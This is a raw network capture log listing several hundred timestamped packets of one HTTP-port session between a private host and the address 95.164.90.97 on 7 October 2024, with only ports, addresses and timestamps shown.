Oct 7, 2024 18:43:38.507909060 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507919073 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507925987 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507929087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507941008 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507955074 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507975101 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.508029938 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508070946 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.508182049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508193970 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508204937 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508214951 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508224964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508235931 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508235931 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.508246899 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508255005 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.508275032 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.508289099 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.508377075 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508387089 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508398056 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508409023 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508419037 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508425951 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.508429050 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508439064 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.508445024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508461952 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508467913 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.508471966 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508481026 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508486032 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.508491993 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508502007 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508508921 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.508512020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508522987 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.508536100 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.508553982 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.624917984 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625005960 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.625480890 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625493050 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625504017 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625514984 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625524998 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.625525951 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625538111 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625582933 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.625621080 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625631094 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625646114 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625657082 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625657082 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.625667095 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625677109 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625683069 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.625686884 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625699043 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625705957 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.625709057 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625719070 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.625745058 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.625792027 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625802040 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625812054 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625822067 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625822067 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.625833035 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625847101 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.625874043 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.625969887 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625981092 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625989914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.625999928 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626000881 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.626009941 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626020908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626029015 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.626030922 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626041889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626053095 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626058102 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.626064062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626074076 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626075983 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.626085043 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626096010 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626099110 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.626107931 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626136065 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.626152039 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.626820087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626832962 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626842976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626852989 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626862049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626866102 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.626873016 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626883030 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626893044 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626894951 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.626903057 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626912117 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626914024 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.626923084 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626930952 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.626936913 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626950026 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.626955032 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626965046 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626972914 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.626975060 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626985073 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626996040 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.626998901 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.627006054 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627015114 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.627017021 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627026081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627032042 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.627037048 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627047062 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.627052069 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627063036 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627073050 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.627073050 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627084970 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627095938 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.627095938 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627106905 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627113104 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.627116919 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627126932 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627129078 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.627137899 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627150059 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627154112 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.627161026 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627171040 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627181053 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.627181053 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627192020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627193928 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.627202988 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627213001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627219915 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.627223015 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627233982 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627244949 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.627244949 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.627263069 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.627285004 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.628377914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628387928 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628397942 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628408909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628418922 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628423929 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.628429890 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628441095 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628448963 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.628451109 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628462076 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628467083 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.628470898 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628482103 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628485918 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.628490925 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628500938 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.628500938 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628519058 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628525972 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.628530025 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628540039 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628547907 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.628551006 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628561020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628570080 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.628571987 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628582001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628592014 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628593922 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.628602028 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628612041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628612041 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.628624916 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628634930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628639936 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.628645897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628655910 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628658056 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.628665924 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628675938 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628676891 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.628685951 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628695011 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.628696918 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628709078 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628709078 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.628719091 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.628736973 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.628757954 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.710799932 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.710815907 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.710829020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.710841894 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.710854053 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.710858107 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.710865021 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.710875988 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.710884094 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.710903883 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.710915089 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.710921049 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.710926056 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.710937023 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.710939884 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.710948944 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.710959911 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.710963964 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.710971117 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.710982084 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.710989952 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.710994005 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711015940 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711026907 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711040020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711050034 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711060047 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711069107 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711070061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711081028 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711086988 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711091042 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711102009 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711102962 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711113930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711124897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711127043 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711134911 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711146116 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711148024 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711157084 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711163998 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711175919 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711199045 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711412907 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711424112 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711435080 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711445093 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711456060 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711460114 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711467028 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711476088 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711487055 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711493969 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711504936 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711504936 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711514950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711520910 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711527109 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711535931 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711545944 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711549044 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711555958 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711566925 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711575031 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711576939 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711589098 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711591959 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711599112 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711608887 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711608887 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711618900 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711630106 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711638927 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711639881 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711652040 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711663961 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711682081 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711867094 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711878061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711888075 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711895943 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711905956 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711911917 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711918116 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711927891 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711927891 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711940050 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711950064 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711951971 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711961031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711971998 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711980104 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.711982012 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711992979 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.711994886 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712006092 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712016106 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712019920 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712027073 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712037086 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712043047 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712048054 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712058067 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712058067 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712070942 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712084055 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712107897 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712138891 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712148905 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712160110 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712169886 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712177992 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712203979 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712349892 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712361097 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712364912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712374926 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712400913 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712404966 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712414980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712423086 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712425947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712436914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712446928 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712447882 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712457895 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712467909 CEST	80	51632	95.164.90.97	192.168.2.4
